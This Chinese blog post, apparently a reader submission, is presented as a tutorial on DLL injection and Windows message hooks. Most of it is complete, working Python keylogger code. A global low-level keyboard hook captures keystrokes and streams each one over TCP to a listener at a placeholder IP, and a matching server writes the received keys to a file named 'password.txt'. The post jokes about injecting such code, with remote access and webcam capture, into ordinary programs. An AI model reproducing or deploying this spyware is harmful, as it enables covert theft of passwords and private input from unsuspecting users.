【网友投稿】监听键盘引出的DLL注入

视频演示

讲解

DLL注入的概念

首先要了解什么是DLL注入?

DLL注入,是将代码插入/注入到正在运行的进程中的过程。本来是软件用于向其他程序添加/扩展功能、调试或逆向工程的一种合法技术。不过,后来恶意软件也常用这种方式来干坏事。是一种广泛应用于恶意软件和无文件攻击中的逃避技术。

假设你是一个开发人员,开发了一个程序,程序运行了一段时间后,你想在原有的基础上添加一些新功能,比如想让程序有聊天会话功能。但是,如果直接修改程序的话比较困难,因为涉及到的代码量很大

那DLL注入就可以很好的解决这个问题了

你只需要写一个有聊天功能的DLL文件,把写好的DLL注入到原先的程序中,当你运行程序时就会调用你写的DLL文件,实现你想添加的新功能,就不必在原程序上过多修改了。

但是,如果这个DLL文件添加的不是新功能,而是恶意代码呢?

如果把一个带有键盘监听远程连接摄像头拍摄的DLL文件注入到正常的程序里

当你打开这个程序,又会发生什么呢?(手动滑稽~~~

DLL的概念

那什么是DLL呢?

DLL是windows平台提供的一种模块共享和重用机制,它本身不能直接独立运行,但可以被加载到其他进程中间接执行。

DLL是Windows中的动态链接库(Dynamic Link Library),在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即.dll文件,放置于系统中。当我们执行某一个程序时,相应的.dll文件就会被调用。

DLL文件中存放的是各类程序的函数(子过程)实现过程,当程序需要调用函数时需要先载入DLL,然后取得函数的地址,最后进行调用。使用DLL文件的好处是程序不需要在运行之初加载所有代码,只有在程序需要某个函数的时候才从DLL中取出。另外,使用DLL文件还可以减小程序的体积。

关于DLL注入和DLL文件的相关知识,可以自行百度,这里就介绍一下,不过多讲解~~

本次教程只进行一些DLL注入的基本演示——消息钩子

注意:本次只钩取26个英文字母和shift、Ctrl、Caps Lock、Enter、Backspace、空格键,小键盘上的数字不做钩取,感兴趣可以自行添加代码,原理都一样~~

消息钩子的概念

什么是消息钩子?

钩子是Windows中消息处理机制的一个要点

在Windows操作系统中借助键盘、鼠标、选择菜单、按钮以及移动鼠标、改变窗口大小等都是事件。发生这样的事件时,OS(操作系统)会把事先定义好的消息发送给相应的应用程序。应用程序分析收到的信息后执行相应动作,也就是说,敲击键盘时,消息会从OS(操作系统)移动到应用程序

所谓的“消息钩子”就在此期间偷看这些信息。

下图是Windows消息流的执行流程:

图片[1]-【网友投稿】监听键盘引出的DLL注入-FancyPig's blog

下图是消息钩取原理图:

图片[2]-【网友投稿】监听键盘引出的DLL注入-FancyPig's blog

从上图可以看到,OS消息队列与应用程序消息队列之间存在一条“钩链”,设置好键盘消息钩子后,处于“钩链”中的键盘消息钩子

会比应用程序先看到相应信息。在键盘消息钩子函数内部,除了可以查看消息之外,还可以对消息进行修改、拦截!!

那么,如何实现呢,接下来就是代码操作了~~

注意:这里是用python进行操作的,如果是C、C++的话也可以实现,原理都是一样的~~

首先需要知道python如何导入DLL库,为注册钩子做准备

这里需要用到ctypes模块~~

ctypes是Python的一个外部函数库。它提供与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数。

具体python代码如下:

ser32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")

代码含义:

user32.dll:是Windows用户界面相关应用程序接口,用于包括Windows处理,基本用户界面等特性,如创建窗口和发送消息。

kernel32.dll:控制着系统的内存管理、数据的输入输出操作和中断处理。

  • 想了解更多关于ctypes模块的内容可以访问:

ctypes — 一个用于 Python 的外部函数库 — Python 3.7.12 文档

其次要了解钩子函数——SetWindowsHookExA()

图片[3]-【网友投稿】监听键盘引出的DLL注入-FancyPig's blog

上图函数中有4个参数,idHooklpfnhmoddwThreadId

idHook:要安装的挂钩过程的类型

(解释:上文也说过,Windows有很多事件类型,如键盘输入、鼠标点击、改变窗口等,这里需要选择一个你想要的钩取的事件类型

比如这次是钩取的键盘消息,那就写上键盘钩子的类型即可,低级键盘输入事件钩子id为13

lpfn:指向挂钩过程的指针。如果dwThreadId参数为零或指定由其他进程创建的线程的标识符,则lpfn参数必须指向 DLL 中的挂钩过程。否则,lpfn可以指向与当前进程关联的代码中的挂钩过程。

hmod:包含lpfn参数所指向的挂钩过程的 DLL 的句柄。如果dwThreadId参数指定了由当前进程创建的线程,并且钩子过程位于与当前进程关联的代码中,则必须将hMod参数设置为NULL。

dwThreadId:要与挂钩过程关联的线程的标识符。对于桌面应用程序,如果此参数为零,则挂接过程将与调用线程在同一桌面上运行的所有现有线程相关联。

用python来表示为:

图片[4]-【网友投稿】监听键盘引出的DLL注入-FancyPig's blog

编写钩子在Windows中需要用WINFUNCTYPE来创建函数,WINFUNCTYPE为Windows下独有的,通过使用使用stdcall调用约定的函数。如下

HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))

关于回调函数因为我们调用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL会使用LowLevelKeyboardProc回调函数。我们也需要在Python中定义它。

LowLevelKeyboardProc数据结构如下

LRESULT CALLBACK LowLevelKeyboardProc(
  _In_ int    nCode,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
);

nCode:挂钩过程用于确定如何处理消息的代码。如果nCode小于零,则挂钩过程必须将消息传递给CallNextHookEx函数而不进行进一步处理,并应返回CallNextHookEx返回的值。

wParam:键盘消息的标识符。此参数可以是以下消息之一:WM_KEYDOWN、WM_KEYUP、WM_SYSKEYDOWN或WM_SYSKEYUP。

lParam:指向KBDLLHOOKSTRUCT 结构的指针。

python代码如下:

def hookProc(nCode, wParam, lParam):
    if nCode < 0:
        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
    else:
        if wParam == 256:
            if 162 == lParam.contents.value:        #162为左Ctrl键盘码
                print("Ctrl pressed, call Hook uninstall()")
                uninstallHookProc(hooked)
                sys.exit(-1)
            capsLock = user32.GetKeyState(20)       #20为Caps Lock键盘码
            if lParam.contents.value==13:           #13为Enter键盘码
                s='\n'
                tcp_l(s)  # tcp传输
            elif capsLock:
                print(chr(lParam.contents.value), end="")
                tcp_l('[Lock]')
                tcp_l(chr(lParam.contents.value))  # tcp传输
            elif lParam.contents.value==32:         #32为Space键盘码
                a=' '
                tcp_l(a)  # tcp传输
            elif chr(lParam.contents.value + 32)=='Á' or chr(lParam.contents.value + 32)=='À':   #shift键
                shift='[shift]'
                print(shift)
                tcp_l(shift)
            elif chr(lParam.contents.value + 32) == 'Ã':       #右Ctrl键
                Ctrl='[Ctrl]'
                print(Ctrl)
                tcp_l(Ctrl)
            elif chr(lParam.contents.value + 32) == ')':       #Tab键
                tab='[Tab]'
                print(tab)
                tcp_l(tab)
            elif chr(lParam.contents.value + 32) == '(':       #Backspace键
                backspace='[Backspace]'
                print(backspace)
                tcp_l(backspace)
            else:
                print(chr(lParam.contents.value + 32), end="")  # 输出勾取到的数据(默认小写)
​
                tcp_l(chr(lParam.contents.value + 32))  # tcp传输
​
    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

当抓取完成后,需要主动删除HOOK,不然大量的HOOK会使系统运行缓慢。

删除HOOK如下:

user32.UnhookWindowsHookEx(hooked)

成功注册钩子并监听后,肯定要把监听到的数据发送到监听者的电脑上,那就需要用到TCP通信了

这里用到python的另外一个库了——Socket

注意:(socket里的服务端就是监听者的主机,客户端就是被监听的主机)

socket又称“套接字”,应用程序通常通过”套接字”向网络发出请求或者应答网络请求,使主机间或者一台计算机上的进程间可以通讯。

Python 中,我们用 socket()函数来创建套接字,语法格式如下:

socket.socket([family[, type[, proto]]])

参数:

  • family: 套接字家族可以使 AF_UNIX 或者 AF_INET。
  • type: 套接字类型可以根据是面向连接的还是非连接分为 SOCK_STREAM 或 SOCK_DGRAM。
  • protocol: 一般不填默认为 0。

这里就说几个socket常用的方法:

服务器端套接字如下

  • socket.bind():绑定地址(host,port)到套接字, 在 AF_INET下,以元组(host,port)的形式表示地址。
  • socket.listen():开始 TCP 监听。backlog 指定在拒绝连接之前,操作系统可以挂起的最大连接数量。该值至少为 1,大部分应用程序设为 5 就可以了。
  • socket.accept():被动接受TCP客户端连接,(阻塞式)等待连接的到来

客户端套接字如下

  • socket.connect():主动初始化TCP服务器连接,。一般address的格式为元组(hostname,port),如果连接出错,返回socket.error错误。

公共用途的套接字函数如下

  • socket.recv():接收 TCP 数据,数据以字符串形式返回,bufsize 指定要接收的最大数据量。flag 提供有关消息的其他信息,通常可以忽略。
  • socket.send():发送 TCP 数据,将 string 中的数据发送到连接的套接字。返回值是要发送的字节数量,该数量可能小于 string 的字节大小。
  • socket.settimeout(timeout):设置套接字操作的超时期,timeout是一个浮点数,单位是秒。值为None表示没有超时期。一般,超时期应该在刚创建套接字时设置,因为它们可能用于连接的操作(如connect())
  • socket.close():关闭套接字

以上就是常用的socket用法,如果想了解更多socket用法可以访问:Python 网络编程 | 菜鸟教程 (runoob.com)

了解socket用法之后,接下来只需要通过socket把监听到的数据传输到监听者的电脑里即可

监听端电脑需要新建一个文本用来接收监听到的数据,python代码如下:

#写入文件
def write_file(word):
  f = open(r"C:\Users\用户名\Desktop\password.txt","a+",encoding="utf-8")
  f.write(word)

监听端接收数据代码:

MaxBytes = 1024 * 1024  # 最大字节
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.settimeout(120)
​
#获取本机IP
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 80))
p = s.getsockname()[0]
print(p)
port = 2828
server.bind((p, port))  # 绑定端口
​
server.listen(1)  # 监听
try:
    client, addr = server.accept()  # 等待客户端连接
    print(addr, " 连接成功!\n")
    while True:
        data = client.recv(MaxBytes)
        localTime = time.asctime(time.localtime(time.time()))
        print(localTime, ' 接收到数据字节数:', len(data))
        write_file(data.decode())  # 调用写入函数
        print(data.decode())
​
except BaseException as e:
    print("出现异常:%s" % e)
​
finally:
    server.close()  # 关闭连接
    print("连接已断开!!")

被监听端通过socket发送数据:

import socket
try:
    MaxBytes = 1024 * 1024    # 最大字节
    host = 'xxx.xxx.xxx.xxx'  # 监听端IP
    port = 2828               #端口
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.settimeout(120)
    client.connect((host, port))

    #传输函数
    def tcp_l(word2):
        client.send(word2.encode())

经过以上的分析,所有工作都已经完成了,我们只需把上面的代码片段拼接即可得出最终代码

完整代码

监听端

import socket
import time


# 写入文件
def write_file(word):
    f = open(r"C:\Users\用户名\Desktop\password.txt", "a+", encoding="utf-8")
    f.write(word)
#注意:上面的路径可以自己更改,这里方便演示就放在桌面了,用户名用自己的

MaxBytes = 1024 * 1024  # 最大字节
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.settimeout(120)

#获取本机IP
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 80))
p = s.getsockname()[0]
print(p)
port = 2828
server.bind((p, port))  # 绑定端口

server.listen(1)  # 监听
try:
    client, addr = server.accept()  # 等待客户端连接
    print(addr, " 连接成功!\n")
    while True:
        data = client.recv(MaxBytes)
        localTime = time.asctime(time.localtime(time.time()))
        print(localTime, ' 接收到数据字节数:', len(data))
        write_file(data.decode())  # 调用写入函数
        print(data.decode())

except BaseException as e:
    print("出现异常:%s" % e)

finally:
    server.close()  # 关闭连接
    print("连接已断开!!")

被监听端:

import sys
from ctypes import *
from ctypes.wintypes import DWORD, MSG


# 传输
import socket
try:
    MaxBytes = 1024 * 1024
    host = 'xxx.xxx.xxx.xxx'  # 服务端IP
    port = 2828
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.settimeout(60)
    client.connect((host, port))


    def tcp_l(word2):
        client.send(word2.encode())

        # client.close()


    user32 = CDLL("user32.dll")
    kernel32 = CDLL("kernel32.dll")


    class KBDLLHOOKSTRUCT(Structure):         #包含有关低级键盘输入事件的信息。
        _fields_ = [
            ('vkCode', DWORD),                #虚拟密钥代码 代码必须是介于 1 到 254 之间的值。
            ('scanCode', DWORD),              #密钥的硬件扫描代码。
            ('flags', DWORD),                 #扩展键标志、事件注入标志、上下文代码和过渡状态标志。
            ('time', DWORD),                  #此消息的时间戳
            ('dwExtraInfo', DWORD)]


    def uninstallHookProc(hooked):            #删除HOOK
        if hooked is None:
            return
        user32.UnhookWindowsHookEx(hooked)
        hooked = None


    def hookProc(nCode, wParam, lParam):
        if nCode < 0:
            return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
        else:
            if wParam == 256:
                if 162 == lParam.contents.value:
                    print("Ctrl pressed, call Hook uninstall()")
                    uninstallHookProc(hooked)
                    sys.exit(-1)
                capsLock = user32.GetKeyState(20)
                if lParam.contents.value==13:
                    s='\n'
                    tcp_l(s)  # tcp传输
                elif capsLock:
                    print(chr(lParam.contents.value), end="")
                    tcp_l('[Lock]')
                    tcp_l(chr(lParam.contents.value))
                elif lParam.contents.value==32:
                    a=' '
                    tcp_l(a)  # tcp传输
                elif chr(lParam.contents.value + 32)=='Á' or chr(lParam.contents.value + 32)=='À':
                    shift='[shift]'
                    print(shift)
                    tcp_l(shift)
                elif chr(lParam.contents.value + 32) == 'Ã':
                    Ctrl='[Ctrl]'
                    print(Ctrl)
                    tcp_l(Ctrl)
                elif chr(lParam.contents.value + 32) == ')':
                    tab='[Tab]'
                    print(tab)
                    tcp_l(tab)
                elif chr(lParam.contents.value + 32) == '(':
                    backspace='[Backspace]'
                    print(backspace)
                    tcp_l(backspace)
                else:
                    print(chr(lParam.contents.value + 32), end="")  # 输出勾取到的数据

                    tcp_l(chr(lParam.contents.value + 32))  # tcp传输

        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

    
    def startKeyLog():                             #将进入队列的消息传递给钩链
        msg = MSG()
        user32.GetMessageA(byref(msg), 0, 0, 0)    #从调用线程的消息队列中检索消息


    def installHookProc(hooked, pointer):
        hooked = user32.SetWindowsHookExA(
            13,
            pointer,
            kernel32.GetModuleHandleW(),
            0
        )
        if not hooked:
            return False
        return True


    HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))

    pointer = HOOKPROC(hookProc)
    hooked = None
    if installHookProc(hooked, pointer):
        print("Hook installed")
        try:
            msg = MSG()
            user32.GetMessageA(byref(msg), 0, 0, 0)
        except KeyboardInterrupt as kerror:
            uninstallHookProc(hooked)
            print("Hook uninstall...")
    else:
        print("Hook installed error")
        pass
except Exception as msg:
    print(msg)

以上就是全部内容了,可能对于新手来说比较晦涩难懂,可以等以后python学的差不多了再回来看看,应该就很好理解了

另外,代码涉及到DLL注入的相关知识,也可以去网上学习一些关于DLL注入的知识,能更好的理解

总之,通过DLL注入用python完成键盘监听到此为止,以后还会出一期用C语言进行DLL注入的教程哦~~

敬请期待后续技术分享~~~

© 版权声明
THE END
喜欢就支持一下吧
点赞16 分享
评论 共4条

请登录后发表评论

    • 小白的头像-FancyPig's blog汉堡会员小白LV10作者0